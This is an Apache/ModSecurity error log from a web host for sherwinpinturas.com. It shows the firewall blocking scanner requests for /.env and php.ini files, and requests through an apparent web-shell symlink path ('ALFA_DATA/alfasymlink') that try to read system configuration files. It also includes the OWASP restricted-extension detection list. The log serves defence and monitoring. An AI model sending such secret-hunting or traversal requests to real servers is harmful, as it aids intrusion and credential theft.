[Tue Oct 27 11:36:03.123682 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 44.208.193.63:46928] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:36:14.839177 2026] [ssl:error] [pid 3258391:tid 3258391] (70014)End of file found: [client 98.83.10.183:32679] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:36:19.359595 2026] [ssl:error] [pid 3257907:tid 3257907] (70014)End of file found: [client 3.213.46.222:37622] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:36:30.741089 2026] [ssl:error] [pid 3258391:tid 3258391] (70014)End of file found: [client 44.213.202.136:39235] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:36:31.077133 2026] [security2:error] [pid 3240911:tid 3240911] [client 185.191.171.12:51830] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/locale/man/LC_MESSAGES/"] [unique_id "auDE_gY08XOpcUzVxFxUvQAAABM"]
[Tue Oct 27 11:36:31.077182 2026] [security2:error] [pid 3240911:tid 3240911] [client 185.191.171.12:51830] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/locale/man/LC_MESSAGES/"] [unique_id "auDE_gY08XOpcUzVxFxUvQAAABM"]
[Tue Oct 27 11:36:32.611910 2026] [security2:error] [pid 3257907:tid 3257907] [client 96.126.130.210:59888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDFANmgjCRRylsqPBT2DgAAACo"]
[Tue Oct 27 11:36:32.612246 2026] [security2:error] [pid 3257907:tid 3257907] [client 96.126.130.210:59888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDFANmgjCRRylsqPBT2DgAAACo"]
[Tue Oct 27 11:36:32.612584 2026] [security2:error] [pid 3257907:tid 3257907] [client 96.126.130.210:59888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env"] [unique_id "auDFANmgjCRRylsqPBT2DgAAACo"]
[Tue Oct 27 11:36:32.789358 2026] [security2:error] [pid 3257907:tid 3257907] [client 96.126.130.210:59888] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.txt"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auDFANmgjCRRylsqPBT2DwAAACo"]
[Tue Oct 27 11:36:32.789597 2026] [security2:error] [pid 3257907:tid 3257907] [client 96.126.130.210:59888] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auDFANmgjCRRylsqPBT2DwAAACo"]
[Tue Oct 27 11:36:32.789843 2026] [security2:error] [pid 3257907:tid 3257907] [client 96.126.130.210:59888] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "monster.sherwinpinturas.com"] [uri "/.env.txt"] [unique_id "auDFANmgjCRRylsqPBT2DwAAACo"]
[Tue Oct 27 11:36:33.189054 2026] [authz_core:error] [pid 3238477:tid 3238477] [client 216.73.217.51:63327] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 11:36:34.232265 2026] [authz_core:error] [pid 3258540:tid 3258540] [client 216.73.217.51:46764] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini
[Tue Oct 27 11:36:42.553521 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 34.231.181.240:19620] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:36:44.528506 2026] [authz_core:error] [pid 3257836:tid 3257836] [client 216.73.217.51:26149] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 11:36:50.704138 2026] [ssl:error] [pid 3258397:tid 3258397] (70014)End of file found: [client 184.73.68.20:39851] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:37:06.547323 2026] [ssl:error] [pid 3240715:tid 3240715] (70014)End of file found: [client 3.224.104.67:34399] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:37:16.584883 2026] [ssl:error] [pid 3258393:tid 3258393] (70014)End of file found: [client 85.208.96.193:29054] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:37:26.215004 2026] [ssl:error] [pid 3245437:tid 3245437] (5)Input/output error: [client 3.226.34.98:16911] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:37:34.447406 2026] [ssl:error] [pid 3240911:tid 3240911] (70014)End of file found: [client 54.88.84.219:44792] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:37:42.203084 2026] [ssl:error] [pid 3245437:tid 3245437] (70014)End of file found: [client 52.2.4.213:55246] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:37:43.141677 2026] [ssl:error] [pid 3238477:tid 3238477] (70014)End of file found: [client 85.208.96.196:49780] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 11:37:49.946333 2026] [security2:error] [pid 3258398:tid 3258398] [client 213.110.68.57:52478] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".dat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/scripts/logo.dat"] [unique_id "auDFTUZinfXBpKsdB8MD8QAAACI"]
[Tue Oct 27 11:37:49.946829 2026] [security2:error] [pid 3258398:tid 3258398] [client 213.110.68.57:52478] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/scripts/logo.dat"] [unique_id "auDFTUZinfXBpKsdB8MD8QAAACI"]
[Tue Oct 27 11:37:49.959033 2026] [security2:error] [pid 3258398:tid 3258398] [client 213.110.68.57:52478] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFTUZinfXBpKsdB8MD8QAAACI"]
[Tue Oct 27 11:38:03.496611 2026] [security2:error] [pid 3258827:tid 3258827] [client 64.204.47.169:44770] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/fuse.conf"] [unique_id "auDFW8AgaCAgJkr_AP76-gAAAEQ"]
[Tue Oct 27 11:38:03.496874 2026] [security2:error] [pid 3258827:tid 3258827] [client 64.204.47.169:44770] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/fuse.conf"] [unique_id "auDFW8AgaCAgJkr_AP76-gAAAEQ"]
[Tue Oct 27 11:38:03.497590 2026] [security2:error] [pid 3258827:tid 3258827] [client 64.204.47.169:44770] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFW8AgaCAgJkr_AP76-gAAAEQ"]
[Tue Oct 27 11:38:04.118394 2026] [security2:error] [pid 3253913:tid 3253913] [client 91.124.3.182:55036] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/tcsd.conf"] [unique_id "auDFXOPngIqMe-cPac2iTQAAAAY"]
[Tue Oct 27 11:38:04.118615 2026] [security2:error] [pid 3253913:tid 3253913] [client 91.124.3.182:55036] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/tcsd.conf"] [unique_id "auDFXOPngIqMe-cPac2iTQAAAAY"]
[Tue Oct 27 11:38:04.119359 2026] [security2:error] [pid 3253913:tid 3253913] [client 91.124.3.182:55036] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFXOPngIqMe-cPac2iTQAAAAY"]
[Tue Oct 27 11:38:05.120917 2026] [security2:error] [pid 3258842:tid 3258842] [client 64.204.45.146:50408] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".log"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "auDFXb04Nnn8ZyKWXi_U1QAAAFM"]
[Tue Oct 27 11:38:05.121314 2026] [security2:error] [pid 3258842:tid 3258842] [client 64.204.45.146:50408] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/restic_cache.log"] [unique_id "auDFXb04Nnn8ZyKWXi_U1QAAAFM"]
[Tue Oct 27 11:38:05.122058 2026] [security2:error] [pid 3258842:tid 3258842] [client 64.204.45.146:50408] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFXb04Nnn8ZyKWXi_U1QAAAFM"]
[Tue Oct 27 11:38:05.701536 2026] [security2:error] [pid 3258828:tid 3258828] [client 37.153.152.22:53506] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/vconsole.conf"] [unique_id "auDFXdiWJdPMg0Q5CZR6twAAAEU"]
[Tue Oct 27 11:38:05.701781 2026] [security2:error] [pid 3258828:tid 3258828] [client 37.153.152.22:53506] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/vconsole.conf"] [unique_id "auDFXdiWJdPMg0Q5CZR6twAAAEU"]
[Tue Oct 27 11:38:05.702554 2026] [security2:error] [pid 3258828:tid 3258828] [client 37.153.152.22:53506] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFXdiWJdPMg0Q5CZR6twAAAEU"]
[Tue Oct 27 11:38:05.726598 2026] [security2:error] [pid 3258811:tid 3258811] [client 108.171.49.217:50266] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/nsswitch.conf"] [unique_id "auDFXVDp5HJ8f2_8WLCkOwAAADQ"]
[Tue Oct 27 11:38:05.726915 2026] [security2:error] [pid 3258811:tid 3258811] [client 108.171.49.217:50266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/nsswitch.conf"] [unique_id "auDFXVDp5HJ8f2_8WLCkOwAAADQ"]
[Tue Oct 27 11:38:05.727678 2026] [security2:error] [pid 3258811:tid 3258811] [client 108.171.49.217:50266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFXVDp5HJ8f2_8WLCkOwAAADQ"]
[Tue Oct 27 11:38:10.889642 2026] [security2:error] [pid 3258811:tid 3258811] [client 108.171.49.217:50266] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpspamd.conf"] [unique_id "auDFYlDp5HJ8f2_8WLCkPwAAADQ"]
[Tue Oct 27 11:38:10.889958 2026] [security2:error] [pid 3258811:tid 3258811] [client 108.171.49.217:50266] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/cpspamd.conf"] [unique_id "auDFYlDp5HJ8f2_8WLCkPwAAADQ"]
[Tue Oct 27 11:38:10.891252 2026] [security2:error] [pid 3258811:tid 3258811] [client 108.171.49.217:50266] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "162.216.113.238"] [uri "/403.shtml"] [unique_id "auDFYlDp5HJ8f2_8WLCkPwAAADQ"]
[Tue Oct 27 11:38:11.477284 2026] [security2:error] [pid 3258786:tid 3258786] [client 64.204.46.192:49578] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfsmount.conf"] [unique_id "auDFYzNkXcBGODVjODvNTQAAAAw"]
[Tue Oct 27 11:38:11.477543 2026] [security2:error] [pid 3258786:tid 3258786] [client 64.204.46.192:49578] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "162.216.113.238"] [uri "/ALFA_DATA/alfasymlink/root/etc/nfsmount.conf"] [unique_id "auDFYzNkXcBGODVjODvNTQAAAAw"]
